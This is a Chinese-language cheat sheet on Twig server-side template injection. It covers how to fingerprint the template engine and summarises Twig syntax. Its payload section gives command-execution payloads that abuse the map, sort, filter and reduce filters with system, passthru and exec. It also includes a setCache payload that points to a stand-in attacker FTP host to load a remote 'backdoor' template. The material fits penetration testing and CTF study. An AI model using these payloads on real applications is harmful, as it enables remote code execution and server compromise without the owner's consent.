Twig模板注入
判断:
探测内置变量 _self、_context
{{ _self }}
{{ _context }}
观察错误信息
{{ ''.__class__ }} // Jinja2/Python 风格 → 报错含 "Undefined property __class__"
{{ ''.__class__() }} // Python 特有
{{ ''['test'] }} // Twig 可能报 "Unsupported operand types"
利用 Twig 特有 RCE 载荷测试
{{ _self.env.setCache("...") }} // 旧版 Twig RCE 特征
{{ _self.env.loadTemplate("...") }}
基本语法:
{{}}内是表达式,会输出,{%%}内是控制逻辑语句,不输出
{%%}支持的逻辑语句:
赋值 set
条件 if / elseif / else / endif
循环 for / endfor / loop 变量
继承 extends / block / endblock
包含 include
宏 macro / import / from
空白控制 - 修饰符(如 {%- 或 -%})
扩展功能 sandbox, cache, embed 等(需启用)
payload:
利用_self.:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} //改变路径实现远程文件包含
利用map过滤器:
{{["cmd"]|map("system")}}
{{["cmd"]|map("passthru")}}
{{["cmd"]|map("exec")}} // 无回显
利用sort过滤器:
{{["cmd", 0]|sort("system")}}
{{["cmd", 0]|sort("passthru")}}
{{["cmd", 0]|sort("exec")}} // 无回显
利用filter过滤器:
{{["cmd"]|filter("system")}}
{{["cmd"]|filter("passthru")}}
{{["cmd"]|filter("exec")}} // 无回显
利用reduce过滤器(执行两次):
{{[0, 0]|reduce("system", "cmd")}}
{{[0, 0]|reduce("passthru", "cmd")}}
{{[0, 0]|reduce("exec", "cmd")}}